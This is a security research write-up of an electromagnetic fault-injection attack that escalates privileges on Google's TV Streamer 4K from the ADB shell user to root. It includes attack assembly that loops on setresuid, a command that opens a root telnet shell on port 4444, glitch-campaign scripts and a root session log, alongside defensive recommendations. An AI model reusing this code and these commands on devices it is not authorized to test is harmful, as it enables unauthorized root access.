Executive Summary
Researchers at Raelize B.V., presenting at hardwear.io NL 2025, demonstrated a practical electromagnetic fault injection (EMFI) attack against Google’s TV Streamer 4K. Starting from an unprivileged ADB shell—the same shell any developer can obtain by enabling USB debugging in Developer Options—they used an EM glitch delivered to the Mediatek MT8696 SoC’s CPU to corrupt the kernel’s execution of the setresuid system call, bypassing the capability check that normally blocks shell (uid 2000) from claiming uid 0. The result: a root shell over telnet, obtained without modifying any on-device software or touching the bootloader.
The attack required no precise timing trigger—a coarse asynchronous injection loop, sweeping glitch power and XY probe position, achieved a per-attempt success rate around 0.3% once the probe was placed at the optimal chip hot-spot. This research demonstrates that Android’s software privilege model, including capability checks inside syscalls, is defeatable by hardware fault injection even on a 1.8 GHz ARM Cortex-A55 device. SELinux enforcement persists after the glitch (the attacker stays in the shell SELinux domain despite uid 0), so a full device compromise would require a further step—but the kernel capability barrier is gone.
Target
The target is Google’s TV Streamer 4K—a compact Android streaming device built around the Mediatek MT8696 SoC, a quad-core ARM Cortex-A55 processor running at approximately 1.8 GHz.

Interfaces
The external surface of the device is deliberately minimal: a single LED, one button, a USB-C port (used for both power and data), an Ethernet connector, and an HDMI output. The USB-C port is the entry point that matters—ADB traffic flows over it.

Components
The board centers on the MT8696 SoC. Supporting components include eMMC storage, DRAM, a power management subsystem, an Ethernet controller, and video output circuitry. The MT8696 is the glitch target: a modern ARM application processor with no external security co-processor comparable to Google’s Titan chip on Pixel devices.


Reconnaissance
Serial Interface
A serial interface exists on the board. It was not used for the attack described here.
Flash Dump
The eMMC package is standard and could be dumped in-situ; this path was not taken. Instead, the team pulled the firmware via OTA, which proved easier and sufficient.
Android Debug Bridge (ADB)
ADB is disabled by default on the TV Streamer but is enabled the same way as on any Android device: tap Build number seven times, then enable USB debugging in Developer Options. Once enabled, the device appears as a standard ADB target:
niek@laptop:~$ adb devices
List of devices attached
55141HXXXXXXXX device
The ADB shell user is uid 2000 (shell), running in the u:r:shell:s0 SELinux domain with a tight policy. What this user can do:
niek@laptop:~$ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),... context=u:r:shell:s0
niek@laptop:~$ adb shell getprop ro.build.fingerprint
google/kirkwood/kirkwood:14/UTTK.250729.004/14066481:user/release-keys
niek@laptop:~$ adb pull /proc/config.gz
/proc/config.gz: 1 file pulled, 0 skipped. 8.4 MB/s (41604 bytes in 0.005s)
niek@laptop:~$ $NDK_CC program.c -o program
niek@laptop:~$ adb push program /data/local/tmp
niek@laptop:~$ adb shell /data/local/tmp/program
I'm a program running as the shell user!
What the shell user cannot do (kernel and policy restrictions):
niek@laptop:~$ adb shell cat /proc/cmdline
cat: /proc/cmdline: Permission denied
niek@laptop:~$ adb shell dmesg
dmesg: klogctl: Permission denied
niek@laptop:~$ adb pull /dev/block/by-name/boot_a
adb: error: failed to stat remote object '/dev/block/by-name/boot_a': Permission denied
Firmware Update
Rather than lifting the eMMC, the team wrote a helper to retrieve the OTA package URL directly from Google’s update infrastructure:
(.venv) niek@laptop:~/.../repo/ota$ ./get_ota_url.py
update_title = UTTK.250729.004
update_target_sdk_level = 34
update_size = 740.1 MB
update_url = https://.../21b8ea323862944e3d2c90bc9bdd433122d52f1c.zip
$ unzip 21b8ea323862944e3d2c90bc9bdd433122d52f1c.zip payload.bin
$ ../android-ota-extractor payload.bin
Parsing payload...
Block size: 4096, Partition count: 19
$ ls *.img
boot.img init_boot.img mcupm.img odm.img product.img system_ext.img tee.img
vbmeta_system.img vendor_boot.img vendor.img dtbo.img lk.img odm_dlkm.img
preloader_raw.img system_dlkm.img system.img vbmeta.img vbmeta_vendor.img vendor_dlkm.img
$ ./mkbootimg/unpack_bootimg.py --boot_img boot.img
$ file out/kernel
out/kernel: Linux kernel ARM64 boot executable Image, little-endian, 4K pages
Generic Kernel Image (GKI)
A key discovery: the device kernel is the publicly available Android GKI (Generic Kernel Image) for Linux 5.15, byte-for-byte identical to the image Google publishes. The SHA-1 hashes match exactly:
$ sha1sum boot.img/out/kernel boot-5.15.img/out/kernel
dab1f04e21dd3fb771e8bda955f66e92c56d7f5c boot.img/out/kernel
dab1f04e21dd3fb771e8bda955f66e92c56d7f5c boot-5.15.img/out/kernel
This substantially reduces the research burden: the exact kernel source is publicly available, a debug build can be run for inspection without touching device flash, and any kernel symbol address is computable offline.
Security Features
The TV Streamer implements Secure Boot rooted in the SoC, Android Verified Boot (AVB) protecting every partition, a hardened Android kernel, and a Trusted Execution Environment (TEE). The one component absent compared to a Pixel 9 is an external Titan-style security chip—making the MT8696 CPU itself the final hardware security boundary.
Fault Injection
The Glitch
ElectroMagnetic Fault Injection (EMFI) works by placing a small coil very close to the chip surface and briefly driving a high current pulse through it. The resulting magnetic pulse induces eddy currents in the silicon that disturb the CPU’s operation at that precise moment—corrupting the instruction being executed, skipping a check, or derailing a branch. The effect is localized: probe position, pulse amplitude, and timing all matter, and not all chip locations are equally sensitive.

The Setup
The lab setup uses commercially available fault injection equipment from Keysight. Notably, no GPIO-level trigger was used—the ADB shell user has no mechanism to signal the host at the precise moment a syscall is entered. Instead, the target code runs in a tight loop on the chip and the glitcher fires asynchronously, relying on loop repetition to eventually coincide with the right instruction window.
- YEPKIT YKUSH3—software-controllable USB hub for automated power cycling
- Keysight Spider (DS1180A)—glitch controller managing power and timing
- Keysight EM-FI Transient Probe—generates the EM pulse
- Keysight XYZ stage—positions the probe over the chip surface
- Google TV Streamer—target device, connected via USB-C



Fault Models
An EM glitch can corrupt an instruction in two broad ways. An operand corruption changes an immediate value or register content while leaving the opcode intact:
Original: add x1, x1, #0x1 (encoded 0x91000421)
Corrupted: 0x91000420 (immediate #1 becomes #0)
Result: counter = 3 instead of 4
An opcode corruption changes the instruction type itself, potentially loading an arbitrary value into a register:
Original: add x1, x1, #0x1 (0x91000421)
Corrupted: adrp x1, #<some-pc-relative> (0x90000421)
Result: x1 set to "something big" rather than incremented
Applicable Attacks
With an arbitrary instruction-corruption primitive available, the attack surface includes: bypassing Secure Boot to execute unsigned bootloaders, breaking debug security to unlock EDL in ROM, and escalating privileges from shell to root, from user to kernel, or from REE (Rich Execution Environment) to TEE. This research focuses on the privilege escalation path.
Characterization
Code
Before attacking the real target, a characterization campaign establishes which probe XY positions and power levels reliably corrupt the CPU. The canary program runs a tight counter loop—10,000 ARM add-immediate instructions—and reports the final counter value. Any value other than 10,000 indicates a successful fault:
volatile uint32_t counter;
while (1) {
asm volatile(
"mov r3, #0;"
"add r3, r3, #1;" // repeat 10,000 times
...
"mov %[counter], r3;"
: [counter] "=r" (counter) : : "r3"
);
if (counter != 10000) {
fprintf(file, "counter = AAAA%08xBBBB%08xCCCC\n", counter, counter);
break;
}
}
Flow
Each characterization iteration follows a fixed cycle: reset the device over USB, start the canary in the background, inject a glitch, then poll for the result file via ADB. No hardware trigger, no programmatic delay. The asynchronous loop guarantees that eventually a glitch lands on the right instruction.

Glitch Parameter Search
The search runs in two phases. Phase 1 sweeps the full chip surface at coarse XY resolution and coarse power steps to identify regions of interest. Phase 2 zooms in on those regions at fine granularity to pinpoint the most productive hot-spots:
# phase 1: initial scan — coarse XY, coarse amplitude
for location in locations:
move_probe(location)
for power in range(0, 100, 10):
response = glitch(power)
if response != expected:
sensitive[location] = power
break
# phase 2: fine search around the sensitive spots
for location, start in cycle(sensitive.items()):
move_probe(location)
for power in range(start - 10, 100, 1):
response = glitch(power)
break
The initial scan over the full surface takes approximately 40 minutes.
Results
Three successive campaigns drove toward an increasingly focused productive band on the chip. Each glitch outcome is classified by the reported counter value:

| Response (final counter) | Description | Count |
|---|---|---|
AAAA 00002710 BBBB 00002710 CCCC | Expected (no effect) — counter = 10000 | 11,725 |
"" (empty) | ADB timeout | 475 |
"" (empty) | Timeout (no response) | 266 |
AAAA 0000270f BBBB 0000270f CCCC | counter − 1 (one add skipped / operand glitched) | 7 |
AAAA 0000270e BBBB 0000270e CCCC | counter − 2 | 7 |
AAAA 0000270c BBBB 0000270c CCCC | counter − 4 | 5 |
AAAA ff82155e BBBB ff82155e CCCC | counter = some address (opcode glitched) | 1 |
Phase 1: 5,100 glitches, 7 successes (0.13%). Phase 2: 7,196 glitches, 25 successes (0.3%). Phase 3 (successful locations only): 12,497 total, 32 successes (0.3%). A narrow XY strip on the chip surface consistently produces the corrupted-counter signature.
Quad-Core Analysis
The MT8696 has four cores. The campaign was re-run pinned to each core individually using taskset. All four cores are vulnerable. The sensitive XY regions per core are in roughly the same area of the chip package but slightly offset from each other.

Fixing the Probe
Rather than sweeping XY dynamically during the actual attack, a single productive hot-spot was selected based on where the bulk of successful corruptions clustered during characterization. This fixed position becomes the probe location for all subsequent attack runs.

Getting Root
Glitching setresuid
The target is the setresuid(0, 0, 0) system call. The kernel implementation has two gating checks between the shell user and a successful privilege escalation to uid 0:
long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid) {
...
if ((...) && !ns_capable_setid(old->user_ns, CAP_SETUID)) // capability check
return -EPERM;
...
retval = security_task_fix_setuid(new, old, LSM_SETID_RES); // LSM hook
if (retval < 0)
goto error;
...
return commit_creds(new); // commit new creds
}
The first check is ns_capable_setid(..., CAP_SETUID), which returns false for the shell user. The second is the LSM hook security_task_fix_setuid(), which lets a MAC framework (SELinux) veto the operation. A glitch that corrupts either conditional branch—turning the taken branch into a fall-through, or corrupting the condition code—allows execution to reach commit_creds(new) with new->uid = 0.
Attack Code
The attack program loops on setresuid(0, 0, 0) in ARM32 assembly (invoking the 32-bit syscall number). On success it drops a sentinel file the host polls for via ADB, then launches a static telnetd on port 4444:
while (1) {
asm volatile(
"mov r0, #0;" // ruid
"mov r1, #0;" // euid
"mov r2, #0;" // suid
"mov r7, #208;" // __NR_setresuid32
"swi #0;"
"mov %[ret], r0;"
: [ret] "=r" (ret) : : "r0", "r1", "r2"
);
if (ret == 0) {
system("touch /data/local/tmp/setresuid/success.txt");
system("/data/local/tmp/setresuid/telnetd-static -p 4444 -l /bin/sh");
break;
}
}
Attack Flow
On the host side, the attack loop moves the probe to the fixed XY position, then fires glitches at randomly sampled power levels, polling for the sentinel file after each burst. No precise timing, no trigger signal:
# attack loop
move_probe(location)
while True:
glitch_power = random.randint(50, 90)
...

Successful Attack
The host log shows the sentinel file appearing after 113 iterations. Once detected, the script stops glitching and connects:
...
110 0 55 G b'root\nstart.sh\ntelnetd-static\n' 46
111 0 21 G b'root\nstart.sh\ntelnetd-static\n' 46
112 0 40 G b'root\nstart.sh\ntelnetd-static\n' 46
113 0 58 R b'root\nstart.sh\nsuccess.txt\ntelnetd-static'
SUCCESS: try to connect to host:4444
$ telnet 10.0.0.119 4444
Trying 10.0.0.119...
Connected to 10.0.0.119.
Escape character is '^]'.
kirkwood:/ #
kirkwood:/ # whoami
root
Limitations
The glitch delivers uid 0, but SELinux is not bypassed. The process remains in the u:r:shell:s0 context, and the tight SELinux policy blocks the most sensitive operations even as root:
kirkwood:/ # id -Z
u:r:shell:s0
kirkwood:/ # xxd /dev/block/by-name/boot_a
xxd: /dev/block/by-name/boot_a: Permission denied
kirkwood:/ # logcat -d | grep avc
09-09 05:21:47.836 3922 W xxd : type=1400 audit(0.0:45): avc: denied
scontext=u:r:shell:s0 tcontext=u:object_r:kernel:s0 permissive=0
Flash partition access, kernel memory reads, and other privileged operations remain blocked. A full device compromise from this position would require either a second successful glitch targeting the SELinux decision path, or a software vulnerability within the shell SELinux domain.
Bonus: Syslog Dump
A second target was also demonstrated. The kernel do_syslog function gates access to the kernel ring buffer behind check_syslog_permissions. The same glitch approach—corrupting the branch that checks the return value of the permission function—allows the kernel to copy its own syslog buffer into a user-mode buffer, giving the attacker kernel log output from the shell user without any privilege escalation:
int do_syslog(int type, char *buf, int len, int src) {
...
error = check_syslog_permissions(type, source);
if (error)
return error;
switch (type) {
...
case SYSLOG_ACTION_READ_ALL:
...
error = syslog_print_all(buf, len, clear);
break;
...
}
}
Takeaways
The original article summarizes five key findings:
- The MT8696 CPU is vulnerable to EM glitches. Even at ~1.8 GHz, EMFI on the package can corrupt individual instructions in reproducible ways.
- Fault attacks on a running Android device are practical. The overhead of booting, looping, and polling via ADB is manageable; successful glitches land at useful rates.
- Android’s software security model fails under FI attacks. The capability checks inside syscalls are exactly the kind of single conditional decisions that fault injection can bypass.
- Defense-in-depth still pays. SELinux keeps the attacker inside the
shelldomain despite uid 0. Without a second glitch or a software vulnerability in the SELinux path, this is not yet a full device compromise. - Kernel R/W is the natural next step. The ability to peek and poke kernel memory would allow bypassing the remaining SELinux restrictions more efficiently than a second glitch.
Key Takeaways
- An ADB-accessible Android device with no external security chip is vulnerable to EMFI privilege escalation even at modern CPU clock speeds; the 1.8 GHz MT8696 produced a 0.3% per-attempt success rate at the optimal probe location.
- No precise hardware trigger is needed: an asynchronous loop of glitch–poll–repeat is sufficient when the target code runs continuously in a tight loop.
- Single conditional branches guarding kernel capability checks (
CAP_SETUID) are the minimum-cost target for fault injection privilege escalation. - The GKI (Generic Kernel Image) model means many devices share the same kernel binary; exploiting one makes knowledge immediately transferable to others using the same image.
- SELinux provides meaningful defense-in-depth: uid 0 alone is insufficient for a full compromise when the MAC policy is correctly configured and the domain is not changed.
- The syslog attack demonstrates that non-privilege-escalating glitches (bypassing permission checks for read operations) are also practical with the same setup.
- Keysight commercial hardware was used throughout; this class of attack is not exotic lab-only research—the equipment is commercially available and the methodology is transferable.
Defensive Recommendations
- Consider an external security processor for devices that need to withstand physical attackers. A dedicated security chip (Titan-style) keeps the root of trust isolated from the application CPU and provides no EMFI attack surface for the same glitch approach.
- Minimize ADB exposure in production. ADB access provides the execution primitive needed to run the glitch loop. Shipping devices with ADB permanently disabled, or requiring an OEM-signed unlock, raises the bar even if the chip is vulnerable.
- Implement kernel-level glitch detection. Voltage and frequency sensors that trigger a watchdog on anomalous readings can increase the attack cost and reduce the effective per-attempt success rate.
- Enforce SELinux policy rigorously. This research confirms that a tight
shelldomain policy limits post-exploitation impact even when uid 0 is obtained. The policy is a genuine second layer, not just compliance overhead. - Plan for GKI-wide impact. When a vulnerability or exploitable condition exists in a GKI image, every device running the same image is affected. Coordinate kernel updates accordingly and track GKI version exposure across the fleet.
- Model physical access in threat modeling. Devices with USB-C ADB access and no external security chip should be threat-modeled for fault injection; assume an attacker with a commercial EMFI rig has access to the CPU instruction stream.
- Use multi-factor privilege checks. A single conditional branch is the EMFI attacker’s minimum target. Chaining checks—redundant verification, value commitments, checksums on kernel credential structures—increases the number of instructions that must all be simultaneously corrupted to succeed.
Conclusion
This research closes a gap that was mostly theoretical until now: practical EMFI on a consumer Android device at modern clock speeds, executed without a hardware trigger, from nothing more than a developer-enabled ADB session. The Mediatek MT8696 is vulnerable, the GKI kernel gives the attacker a public map of every instruction to target, and a 0.3% per-attempt success rate at a fixed probe position is sufficient for a real attack. The bounds of the damage are set by SELinux—a second layer that held despite uid 0—making this a textbook demonstration of both the practical ceiling of hardware fault injection against a modern Android stack and the genuine security value of a well-configured mandatory access control policy.
Original text: “setresuid(⚡): Glitching Google’s TV Streamer from adb to root” by Raelize B.V. at raelize.com.

